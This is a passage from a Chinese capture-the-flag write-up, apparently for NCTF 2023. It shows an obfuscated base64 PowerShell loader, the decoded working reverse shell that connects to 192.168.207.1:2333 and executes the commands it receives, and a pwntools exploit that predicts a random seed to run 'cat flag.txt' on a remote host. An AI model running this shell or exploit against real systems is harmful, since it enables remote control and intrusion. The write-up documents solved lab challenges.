QA2ADYAYgA0ADMAZQBkADUANwAyAGEANgA4AGIAZgA3ADEANgBkADYAZgBkAGQAMQBiAGEAYwAxADAAZQBjADcAZgA2ADYAZAAxADUAYQA4ADMANAA0ADcANAAxADIAMQBkADgAZAA0ADQAMwBlAGUANwBiADcAOAAyADYAMAA0AGUANQBlADQAMAAxADIAMQAxADkANgBjAGYAOQA0ADgANgBhAGUANQBlADEAOQBlAGMAMQA4AGUAZgBjADYAZAA2ADEANwAzAGQAZQBhAGIANwBhADQANAA0ADkAMQAxADgAMQBlADgAZQAwADMANwAyADEANABkAGMAMAA3AGUANgA1AGUAMwA3ADUAZQBkADEAZAA1AGEANQBiADIAYQBkADUANwA0ADQAYgBlAGYANQAxADQAMwA1AGQANQA2AGUAZgAzADUAYgBkAGEAYQA2ADgAOQBkAGYAOAA2ADgAYgBjAGUANAA5AGQAMwBmADEAYgBiAGYAOQA2ADcANwA0AGMAMwA5ADgAZQAzAGYANABhADkAMwBlAGQAMgBmADMANQAwAGIAMAA1ADEANwBjADgAYgA1ADcAYwBmADIAYQBjADYAMAA2ADcANgA5ADYANQBjADMAZABhAGEAYQA5ADIAZQA4AGEAMgA4ADUAOABjAGMANwAyAGIANQBjADYAYgBlAGIAYQAxADMAYwA1AGQANgA3AGUAZgA1AGIAZABkADYAOAA1AGMANwA2ADMAMwA0ADUAZAA4ADQANwA4ADMAYgAzADYAZAA3AGEAMwBhADkAYQBkADYAZgA1ADkANwBmADIANwA5ADIANAA2AGIAMAAyAGEAOQBkADIAYgBhADMAYgAxAGYAMQA4ADEAZQAxADQAMwBjADkAMABiAGYAZgA1ADAAOQBkADMAMgAyADcAZgBlADgAOQBhAGUAYQA5ADQAYQA1AGIAOQA5AGQAMgAwAGMAZQA2AGYANAA0ADAAMwA0AGMANQA0AGQAMQA4AGQAOQBlADIAZgAyAGEAMwA3ADMAZQA0AGQANABmAGQAYQBlAGIAYQBhADMAYQAxADIAYQAyAGYAZABiAGEAOQBjADQAOQBjAGIAZAAxADcAMAA4AGUAZgBmADcAOABkADIAOAA3AGEAZgAxADkANgA1ADkAMwBiAGYAZgA5ADcAZgAwAGYAMABiAGUANAAzAGMAZAA3ADMANABjADUAYwBmADQAOQA3AGQAMAAxADcAOAA3AGIANwBlAGMAOAAyADYAYwA0AGMANAAyADgAYwA3ADMAOQA1ADgANwA2ADIAOQA1AGQAZQBlADMAOAAxADgANgBjAGEANQBlADkANgA4ADgAYQA3ADMANABhADAAMAAzAGIAMAAwAGQAYwAxADgAMgA1ADAAMgA2AGIAOQBhAGUAOAA3ADgAOAA2ADcAMgA2ADQAMAA5AGQANgA1ADIAYgA4ADQAYQA1ADcAZQBiAGEAZgBmADcAMABkADEAMQA2ADAAMwAxADYAOQBjAGIAOQBmADkAZQBjADEAMgA1ADMAOAA4ADgAZQA3ADkAMgA2ADAAOQA0ADEAOABkAGQANwAwAGYANgBlAGMAYwBmAGUAYQA5ADQAZAA1ADMANAA0ADIAZgBmAGQAMgA0ADcANQAzADIAYQA4AGEAOQA3AGYAMgA2ADQAZgAwAGMANgA2AGQAMAA2ADkAYQA3ADUAZQA3AGIAYwAxADUAYQBkADQANAAxADAAYgBlAGEAYgBjAGMAYQA3AGQAYwAzADYAOQA5ADAAMgA1ADQAZgAxADIAZgBjAGYAMwAwADMANgA5ADMAZQBkAGMAYgA1ADUAMwBlADIAYQBlAGIAYwAzADMAZgAwADIAMgBhADIANwA3ADUAMwA2ADEAMAA3AGQAZgA1AGUANAAxAGUANABkADgANgBkAGYAMABhAGEAMQA0AGQANQA2AGUAZQA0ADMAMAAzAGIAZQBkAGMANAA2ADAANQAwAGMAYQBjADkAZgBlAGUAZQA4ADIAZQA2AGUAYgBkAGEAMAAyADEAYQA5ADgAYwBhADgAMwBlAGIAZABjADEAZAA5ADEANQA1AGUANgBmADcAMgBkADgANAA4ADQAZQA3AGMAZgBkAGUAMQBlADUAMwA3AGEAMwA5AGYAMAAwADUAMwBmADIAOQA1ADgAYwA2AGEANQA1AGEAZgBlAGMAYgAzADMAMQA3ADQAOQA0AGIAOQBjADIANAA0ADMAZQBkADQANgA3ADQAMAAwAGMAMQBlADgANQBhADEAMQBmADMAOQBkADMAYQA2ADkAOQBlADEAMAA2ADAAMAAzAGQANQA0ADEAYQBlADUAYgBmAGQAMgAxAGMAMABmADQAOQAyADgANgAyAGIAYgA3ADYAZgA3ADgAZgA1ADYANAA3ADIAOAAxAGIAZgAxAGYANgA1ADkAYQBhAGQAYgA2AGMAOABjADYAMgAwAGQAZgA1AGYAYQBkAGQAZAAyAGEAOABkAGYAZgBmADMAMwA1ADEAYwAxADgAMwA5ADUAMgAzADQAZQBjAGMANAAzAGMAMwA1ADkAZAAyAGQAZQBjADIAZgA0AGMAMgA1ADUANgA0ADIAMgAwADEAZABmAGYAMgBhADAANAA4ADcAMQA1ADAAYQA5ADEAZgBjADIAZQA4AGMAZgA2AGUANgBkADQAMwAwAGEAMgBlAGIANQBmADgANQAzAGEAOQBmAGQAYQBhADMAOAA4ADAAOQA4ADUAYwBhADQANABhADIAZQA5ADcAZgAyADUAYQA0ADgAOAAyADgANAAyADYANgA0ADMAYgBkADkAYQBiAGMAZQAyADMAYwBkADgAZAAyADUANgA3ADcAZgA3ADgAMQA4AGQAOQAyADMAYgAzAGUAYQA4ADYANgBhADEANgBhADQAMQBmADQAMwA0ADYAYQAyADEAOQBjADMAMwA4ADMANwBlADEAMAA2ADkAYgBmADQANgA1AGYANQA5ADYAZABhADAAZgA2ADIAOQAwADgAZQBmADEAZgA0AGIANgA4ADQAMwBjAGIAZgA2AGIANgA0ADcANAA2ADUAZQAwADgAMQBhAGIAYwA0AGQAYQBkADAAYQBkAGEAYwAxADcAZQAzADEANwAyADcAMwA0AGIAMAA5ADcAOAA2ADgAZgA2ADIAZgA2ADIANQAwADAANQA5AGYANwBlADAAMQBmAGMAMAA3AGQANwAwAGUANgBhADYAYQAwAGYAMgA1ADQAOQA4ADAAOQBjAGMAYgA1ADcAMgAxAGIANABlADQANABmADkAYwA4AGQANQBhAGUAZQAzADMAYgAzADYAOAA5ADEAZQA5ADcAZABkAGEAYwBlADMAMQAzADMAYQBhAGMAZABjAGUAYQA0AGUANABjADUANQA5ADUAMwBkADgAYQBjAGIANwA0AGEAYwAzADgAOABlADUAMQA3ADIAOABmAGQAMAA1AGQAYQBkADYAMAA1AGUAZgAyADkAMwBlAGQAOAAyAGQAOAAwAGEAYgBlADQAMwBjAGYANAA0AGYANgA1AGUANgBkADAAMgBiAGYANgAzADIAYwA4ADgAYgAzADAAZABkADIANQAwAGYAZQA4ADAAOAA5AGMANwA4AGUAYwA3AGUAZQA4ADIAMABmADIAMQA5AGYAZQA2ADIANwBiAGIAMAA5ADIANABmAGUANQBkADIAOAAwADkAZABhADQAMgA5AGIANQA2ADEAOAAzADMAOQA3ADUAZQA5AGEAYgAzAGIANwA0AGYANQAwAGYANABhADcAYQA1ADQAYwBiAGYANAA1AGMAMQBiADQANAA1ADgAOABmAGQANQBhADkAYwA3ADIAYwA0AGYANABjADEANAAxAGMAMQA5ADgAYQA2AGMAMwBiADIANwBlADEAZgA1ADUAMwA4ADgAMgA4ADgANABmAGMAYwAxADIAOAA4AGQANwA5ADAANQAyADQAMgBiADYANgA1AGUAMwA0AGUAMwBkAGYAOAAxADUAMABiAGEAZgAwAGIANgA2AGQAYgA3ADcAZQBjAGIAZgA0ADUANgAzADAAMAA5AGEANQAyADEAMQA3ADMAMAA2AGYAYgBlADIAMABlAGUAYgA1ADcANAA5ADUAOABhADUAMwAzAGIAOAAzADgAZQAwADAAYQA5ADMAYwA0ADAANwA5ADQANAAyAGQAOQAyADEAOAA1ADEAMQBkADQAOAA4ADEAMABhADMANgAyADUAMAAxADQAYQA1AGYANABlADYANABjADYANwA5ADEAYQBlAGUAOABlAGUAMgAzADYANgAwADgAOQA4AGIAZgA1AGIAZAA5ADgAYgBmADIANgA2AGYAMABlAGYANAAxADgAYgAzADkAZQA0ADgAMQAzAGUAOQBkADkAMQA3ADIANAAxAGYAMgBmAGUAZABkADgANQAwADkANgA3ADkAMQBiAGUANwA5AGQAMwAxAGMANQBkAGQAMgBjADYAMQA4AGIAZgA2ADMAOQA0AGEAMgAyADQAYwA1ADAAZgA1ADMAMAAyADcAMgBlAGUAMgA4ADgAMQA0AGMANgA4ADYANAA4AGQAMgBlADIAYwAwADEAZgA4ADUAZABhADgAYQAxADQAZQA4AGQANABkAGUAYwAwADMANQA5AGUAYQBhAGMANAAyAGIANAA4ADQAZABmADMAOQAxADEAOQAzADAAMgA0AGUAZgA5ADQAYgAyADMANABlADUAYQBlADYAOABhADcAMgBlADQAZgA4ADEANQAxADIAMwBhADMAMAAyADIANwA1ADAAOAAxAGYAZQA3ADYAOQBmAGMAMwA2ADcANAAwADkANAA3AGYAMAA4ADIANwAxADkAYgA4ADUANQBmADMAZAAyAGEAYgBiAGQAMABiAGIAZQA4ADUAMQAxADcANQA4AGIAOABiAGEANgBiAGIAZABlAGYAMQAzAGQAZAA4ADYAOAA2ADIANAAzADUANAA4AGQAZAA1ADAAMQBhADIAMgAwADgAMgBkADAAYQBmADUAYgA1AGIAZgA3AGIAMAAzADYANQA4ADMAZQA5ADQAMAA4AGUAOQA0ADUANABjADEAZgA3AGMANABlAGUAZgA0AGYANABmAGMAYgA3ADcANAAyAGIAYwAzAGYAOQAzADUAMwBiAGMANQAzAGQANQA5AGUAYwAyAGUAZQA2ADcAMwA0ADIAMAA4ADUAMQA4ADMAZgA0ADMAYQBhADQAOQBkADQAZAA3AGMAOQA1ADgAYgBkADkANQAyAGYAZAA2AGQANQA2AGYAOAA0ADgAZABiAGIAYQAwADYAMAA3AGQAYwA4ADMANQAxAGYAYwAzAGEAZgAzAGIAZQAyADgAMQBiADcAYwA4AGMAZQBlAGYAYwBlADMAYgBhADkAYwBkADUANQA5AGMANwA1AGUAMABiAGIAZgAwADUAOQA1AGYAYQA0AGMAYgAyAGEANABhAGMAYQBkADEAOQBjAGYAOQBkADYAMQBlAGEANwBjADgAMAAzADIANwAyAGEAMwA1ADIAZgA4ADgANwBkADcAMwAxADEANAA3ADMAMgA2ADEAYgA4ADEANQA1AGIAOQA2ADAAOQBkAGUAOQAzADgAOQA3AGMAMgA3AGEANgBkAGUAYwA1ADkAOABiADQAZAAxAGYAMwBhAGQAZgA4AGMANQBiADcAYgA2AGEAMABkADQANQA3ADQANAA0ADMAYwAyADkAOQA0AGEAYwA1ADcAZQBjAGMAYgAwAGEAZQAxADgANAAwADgAOAAzAGQAMAAwAGIAMABhAGIAZABhADcANgAyAGQANgBmADkAMwBjADgANgBlADcAYwAzAGEAZABjADIANgBhADQAYgAxAGIANwBlADEAMwA5ADgAMgBiADAANwAyADcAOQBhADQAYwBiADYAZAAyADkAMAA4ADAAMgBiADEANAAyAGYANABlADcAZQA0ADcANwA5ADIAOAAzAGMAMAAwAGEAOABjADIANAA3ADUAMQBkAGQAOAA4ADkANgBmADYANQBlADIAMwA3ADQAZgA3ADUAZAA0ADcAYwAwADYANgA3AGUAOQAxADcAMAA3ADIAYwBiADQAMwA2AGEAZgA2AGUAMAAyADMAOABhADUAZgA2AGYAZQA1AGYAOQA4AGYANgBjAGYAMwA3ADMAOQA3ADQAMQBlAGEANwBkAGEANgBmADIAMQBkADEAYgA3ADEANAAwAGMAOAA0ADEAMAAxADUAOQA3ADEANQBlAGMAMwBiADQAZAAyADEAMQA0AGEAMwBhADkAMQAyADMAMwA3ADMAYgBhADcANQA2AGUAZABjAGUAYQAxADEANABiADYAYgA4AGYAMAA2AGMAZgAxAGYAMgA0ADUAMwAxADQANgA1AGIANgA5AGIAOQA4ADgAYgAzADAAZABiADQANQBlAGQAOAA3AGYAZQA5AGYAZQBlAGMAMABmAGQAYwBmADEAZgA2AGEAMQA0ADkAMQA2ADIAMQBhADkANwAwAGYAYgA0AGYAZgA2ADYAMABhADAAOQA3ADQANwBjADQANwBjADIANwA4ADAAYQBkADQAMQBiADEAYwA0AGMAMgBkADEAMwBhADkAZQBjAGQAYwAzADEAMgA0AGEANwBjAGQANABhAGYANQA5AGMAMQBjAGUANwA2AGUAYgBiAGEAZQA2ADgAMQAzAGEAOQA2AGQAMgA4AGIAZABmADUANgBkADEAOQBjADQAMQA3ADUAZQBkAGUANgBlADEAZgAxAGUAOABhADQAMQBjADYAMQA4ADQAZgBlAGYAZgBhAGQAMQBkADkAYgBlAGUAMwA4AGMAOQA1ADYAZAA1ADQAYQA2AGMANQBkADAAYgBjADIAMwBjADUAYwBmAGEAYgBmADUAOQBlAGMAZQAxADAAYgA1AGUANQAwAGMAOABiADMAYQA3ADIAZQBmADQAOAAyADUAMABmADEAYwAzADIAMwA2ADcAOQBhADQANgAzADAAMgA0ADIAZQAxAGIANwA2ADAANAA0AGEAMwAwADEAYwBlAGMAMgAzAGUAYQA3ADUANQBmADYAYgBjADQANgA0ADcANgBhAGMAYwBkADcAYwAwADEAMABiAGUAMAA1AGEAMgA1AGEAZQA4ADQAZQA3ADIAYgA1ADEAYwBmADMAYgA3AGQAMAA5AGQAZgBhADYAOQBjADYAZAA0ADAAZQBlAGQAYwA1ADkANAA2ADkAMgAyAGYAOQBiAGEANwA4ADAAYwBlADQAYQAzAGIAYwA5ADEAOAA1ADYANQBmADEANwBhADMANgA3ADgAMQBjADgAOAA4ADUANQA0ADcAYwBhADMANQBmADYAYQBiAGYANgA2AGYANAA2AGEAZABlADYANABjADcAZAAwADEAMQA1ADIAYgBmAGYAYQAxADIAZgA1AGQAYwA2AGQAZgA1AGEAZQBkADkAYgBkADcAMgAzAGMANQBjAGYANgA0AGUAZABkADkANABjAGUAYQA4AGYAZQA2ADUAMQAxADcAZQBiADAAOQBlAGMAYgAxADAAOABlADgAMwBjADcAYgBlADcAYwA4ADAANQBkAGUAYgAxADEAYwA5ADcAZgA1AGIANABiADUAZABlADYAZQBlADcANgBmADkAMABlAGUAMQBjAGQANQBhADkANgAyAGUAOAA0ADgAMQA0ADEAYgBmADUAMgA5AGUAMgA2ADMAOQAwADQAYwAyADYAZQAxADQAZgBiAGMANQAzADkAYgBkADYANwBjADgAZQAzAGUAMQAwAGYAOAA2ADQAYwBhAGEAZgA5ADQAMABmADUAMgA5AGMAZABjADQAMwAzADQAZAA0AGUAMQAwAGQAYwBjAGIAMwBkADkANQA0ADYAMAAxADQAMwBhADQAZABjADgAYQA4ADIANgAwADIAZgBhADIANwAyAGYAMwBjADMAYwBiADYAYgA2ADUAZgA5ADYANQAzAGMAMgA3ADYAOQA4ADgAZQAyAGMAMgAzADEANAAyAGMAOAA0ADkAMwA4AGIANgBhAGEAZgBhAGMANwA4AGMAMwBlADIAOAA3ADcAMAA3ADcAZQAxADYANgBjADcAYgAwADMAYgBhAGIANAA4ADgANAAxAGQAMAA3ADgANwAyADAAMQAxADUAYQA0ADUANwAzAGIANwA5ADkAMQA4ADIAZAA0AGMAMQA2ADYANgA0ADcAYwA2ADIANQAyADgAMgBkAGYAZQA0ADUANgA3ADUAYwBlADYAYgBlAGQANwAzADYANwBhAGYANAA3ADUAMgA5AGIAZgA2ADgAYwAyADUAMQBmAGQAYgA0AGYAMAA2AGEANgAwADUANQBkAGEANQAzAGMAOABiADEAOAA1ADMAYQBmAGIAOAAzAGMANAA4AGIAZQAyADEAZQBlAGIAMAAzADUAMwBlADAAZABkADYAMgAwADUANwAzAGYAOQBmADUAYwAxAGIAZgBiADIANABjAGYAOQAwAGYANgBiADkAMgAxADkAZgA5ADcANwBiAGUAMQAwADUANAAxADMAMwBmAGYAZgBmAGIANABlAGUAZQBhADgAZAA1ADQAMgBlADcAYgAwAGMANQAxAGUAMwAzADEAMAA5AGYAYQBkADAAZAA1AGQAMgAxAGEANQBlAGYANQAyAGIANwBhAGQAMwBlADMANgAxAGUAMwBmADAAYwA4ADgANwBiAGMAZgA1ADMAYgBmAGIAZABhADkAMAAwADUAZABkADIAMQA0AGUANwBlAGMAYQAwADkANgBiADQAYgBlAGIAZAA3ADEAMwA2ADUAMQA4ADAAYQBjADgAYwAzADcAOABhADkANABjAGYAZAAyADcAZQA2AGIAZAAyADcAYwA1ADYAMgAwADUAMQBiAGEANwAwAGIANABmAGYANAA1ADYAYgA2ADMAOQBjADcANQAzADMANQBkADQAMwBiADgAYgA3AGIANwBlAGEAMQBmAGMAYQA3AGIAZABlADgAYQA4ADcAMwAxADkANABmAGYAOQAwADYAYgBkADMAMwAwADMAMwBjADIAMwAwADAANgA3AGUAYwAwAGUANwA0AGMAMgA3AGUAMgAxADgANQA2AGIAOQBiADMAYgAzAGMAZgAzADUAYwA3ADkAZgBkADIAZQA4AGIAMABiAGIANQAzADcANQBlADEANgBiAGQAMQA2ADIAOQBhADkAOQA5AGIAYgAzAGMAYwBkADAAYQA5ADkAMwBlADEANQA0ADEAZgAzAGEAOQAwAGMAMgBlADEAZAA3AGYANgAzAGYAYgBlADYAOQAyADYAOABhAGIANQA4ADgANQA3ADMAMQA4ADYAMgBiADkAMAA0ADMAMgBmADMAZgAwADMANABmADUANQA0ADYANQA0ADkAZQBiAGIAZAAzAGUANAAzAGYAYwA4AGEAOQAwAGYAZABkAGQAMABhADYAYgBkADcAYgBlAGYANwAyADYANgA5ADkANwBlAGIAMABmADkANAA1ADYAYgBiAGUAMQBjADcAZgA3ADYANAA1ADAAYwA3AGEANAA4AGIAMwAwAGMANwA0ADcAOQBkADAAMgAwADkAMwBjADYAYgAwAGEAMQAzADMANABkADAAOAA3ADcAMwBmADcANgA1ADAAMAA5ADMAMgA3ADgAMgA2ADQAMgA4AGEANAAwAGUAZQA4AGMAZgAxADQAOABjAGMAMAAyAGUAYQBjADQANgA5ADEAOAA5ADYAYgAxAGUAYwAxADAAOABlADMAMAAwADYAOQAyADYAZgA1ADAAZAA1AGMANQA2ADYAYwAxADIAZAA0ADMAMgBkADAANgA2AGEANAAwAGQAMwBjADYANwA2ADcAMgA3AGQAMwAwADYAOAA1ADQANgA4AGMANABhADkANQAwAGYAZgA0AGQANQA4ADUAYgBjADgAZABkADcANwA1AGEAMgA2AGEAOAAwAGMAZQBiADkAYQA4ADMAOAA1ADAAZABlADQAYwA=' | conVeRtto-SEcurEsTrIng -key (143..112)) ) ) ) )
最后的真实源码:
# get_shell.ps1
$socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
do {
$writer.Flush();
$read = $null;
$res = ""
while ($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n", "").Replace("`n", "");
if (!$out.equals("exit")) {
$args = "";
if ($out.IndexOf(' ') -gt -1) {
$args = $out.substring($out.IndexOf(' ') + 1);
$out = $out.substring(0, $out.IndexOf(' '));
if ($args.split(' ').length -gt 1) {
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
}
else {
$res = $stdout
}
}
else {
$res = (&"$out" "$args") | out-string;
}
}
else {
$res = (&"$out") | out-string;
}
if ($res -ne $null) {
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
Randommaker
要 exec 执行命令,使用 a="",并且每一次将 payload 的一个字母拼接(a+=“x”的形式),难度在于每一次执行的代码在经过 shuffle 后恰好与原先一致,题目的随机数种子为毫秒级时间戳。通过在本地调试发现是连接后的 20ms,但是在远端测试为 30ms 左右。通过多连接几次,就会碰上正确的随机数种子。然后尝试通过发送不同数量的 1 使得 random 状态发生变化,使得 shuffle 后与原先一致即可。
import random
import copy as cp
import time
from pwn import *
context.log_level="debug"
t1 = int(time.time() * 1000)
io=remote("124.220.8.243",1337)
# io=process(["python3.9","./ss.py"])
t2 = int(time.time() * 1000)
timestamp=random.randint(t2+29,t2+31)
print(timestamp)
print(t1,t2,t2-t1)
io.recvuntil(b'>>> ')
random.seed(timestamp)
cmd="sys.stdout=original_stdout;import os;print(os.popen(\'cat flag.txt\').read())"
# cmd="import math"
# cmd="import os"
excute_payload=["a=\"\""]
random_state=random.getstate()
for i in cmd:
excute_payload.append(f"a+=\"{i}\"")
excute_payload.append("exec(a)")
payloadlist=[]
count_one=0
def makerandom(text):
text = list(text)
random.shuffle(text)
return text
def burte(payload=None):
count=0
global random_state
status=cp.deepcopy(random_state)
yourinput=cp.deepcopy(payload)
while True:
random.setstate(status)
makerandom(count*"1")
status1=random.getstate()
if "".join(makerandom(yourinput))==yourinput:
payloadlist.append(count*"1")
payloadlist.append(yourinput)
random_state=random.getstate()
print(count,payload)
io.sendline(count*b"1")
res=io.recvuntil(b'>>> ')
print(res)
io.sendline(payload.encode())
res=io.recvuntil(b'>>> ')
print(res)
return count
if count==4096:
io.sendline(count*b"1")
res=io.recvuntil(b'>>> ')
count=0
status=status1
else:
count+=1
for payload in excute_payload:
burte(payload)
问卷
nctf{thanks_for_playing_nctf_2023}